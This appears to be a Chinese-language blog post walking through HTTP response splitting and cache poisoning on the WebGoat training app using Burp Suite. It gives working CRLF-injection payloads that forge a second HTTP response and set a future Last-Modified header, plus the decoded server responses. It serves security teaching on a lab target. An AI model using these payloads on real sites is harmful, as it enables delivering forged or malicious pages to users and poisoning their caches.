攻击效果与目标
HTTP应答拆分攻击的效果会使用户接收不到正确的服务器回发的信息,而是接收错误的经过伪装的信息,比如挂了马的网页、含有垃圾信息的网页等。采用的是攻击服务器的缓存,所以并不是针对Http服务器的攻击,而是针对具体用户的攻击。
攻击原理
HTTP请求是基于“请求-响应”的请求,当浏览器发出请求,服务器返回响应,浏览器根据响应再发出请求,依次类推。但有一种服务器端的响应是重定位响应,相应的代码为302,当浏览器收到这个响应的时候,会重新向服务器发送get或者post请求去请求一个新的网页。
实战演练
设置浏览器代理
同样burpsuite也要打开8008的侦听端口:
这样就实现了通过burpsuite抓取浏览器的所有数据。
漏洞发现
这是我们在浏览器端输入“en”,点击go之后,浏览器传输给服务端的请求数据:
可以看到我们的参数“en”传过去了,此时的数据传到了中间代理件burpsuite中,点击forward,burpsuite将这些数据发送给真正的服务器。
再继续看服务器传过来的应答:
这是服务器针对这条请求传给浏览器的应答,可见是“302 Move temporarity”表示浏览器端请求的资源被重定向了,需要浏览器再次向服务器发送以后的请求。注意这里服务器传过来的Location:
http://localhost/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=en
我们之前的请求地址是:
可见我们在前一个页面输入的参数,作为响应被服务器传回来了。
由于这是一个302响应,当浏览器接到这个响应时,会根据收到的响应自动再发送一个请求到服务器:
服务器在传回其相应:
整个过程存在的漏洞是什么?
在url编码中,%0d和%0a分别代表回到行首和换行,加起来就是回车的作用。
攻击过程
当构造这个字符串输入的时候:
en%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0aInsert undesireable content here
传给服务器端的参数变为了:
服务器端的响应变成了:
通过解码之后,可知道这个响应实际为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=en
Content-length: 0
HTTP/1.1 200 OK
Content-Type: text/html;
Content-length: 47
<html>insert undersireable content here</html>
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Thu, 21 Apr 2016 09:45:28 GMT
Connection: close
再与正常的响应进行比较(上图5):
1 | HTTP/1.1 302 Moved Temporarily |
这个响应是服务器端传给浏览器端的,这是一个重定向响应,且Content-length=0,浏览器看到这一行会认为这个重定向响应已经结束了。
此时浏览器再次发送请求到服务器:
注意这里它的请求地址。
最后服务器的响应:
需要说明的是,这是因为现在的主流Web服务器比如IIS,Apache HTTP Server以及WebGoat使用的Tomcat等等都有对这个问题作过改进,服务器会对即将发送出去的HTTP响应头里面每一项的值都会做一定的编码或者转换,以避免这个问题。比如Tomcat就响应头中的每一项的值都做过了URLEncode,从而保证即使Web应用存在HTTP应答拆分的漏洞,Web服务器上也从底层平台的角度保证了尽可能避免HTTP应答拆分漏洞带来的威胁。所以如果想要在自己的实验室环境中重现对HTTP应答拆分漏洞的成功利用,可以尝试安装比较老的Web服务器版本,比如Tomcat 4.1.24之前的版本。
缓存中毒
我们可以利用这个漏洞进一步进行缓存中毒的攻击,为了做到这一点,我们需要在前面提交的参数中,自己伪造的HTTP响应头中添加一个Last-Modified字段,并且把它的值设为一个未来的值。这样当浏览器在下次请求同一个页面的时候发送If-Modified-Since字段并且这个值是一个未来的值,服务器在发现这个值大于该页面最后修改时间之后将返回HTTP的304响应码表示该页面没有更新过,从而达到了污染受害者缓存的目的。下面就是我们希望的能够污染受害者缓存的服务器响应。我们希望得到的响应是这样的:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=en
Content-length: 0
HTTP/1.1 200 OK
Content-Type: text/html;
Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT
Content-length: 19
<html>hacked<html>
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Thu, 21 Apr 2016 09:45:28 GMT
Connection: close
从en到按照url编码,之后得到:
en%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a+text%2fhtml%3b%0d%0aLast-Modified%3a+Thu%2c+01+Jan+2099+12%3a00%3a00+GMT+%0d%0aContent-length%3a+19%0d%0a%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b
以上就是需要的提交的数据,造成缓存中毒了。
如何防御
防御CRLF攻击,就是检查用户输入,进行过滤。
附参考资料:
【版权声明】
本文首发于戚名钰的博客,欢迎转载,但是必须保留本文的署名戚名钰(包含链接)。如您有任何商业合作或者授权方面的协商,请给我留言:qimingyu.security@foxmail.com
欢迎关注我的微信公众号:科技锐新
本文永久链接:http://qimingyu.github.io/2016/04/18/Webgoat之Http_Splitting攻击/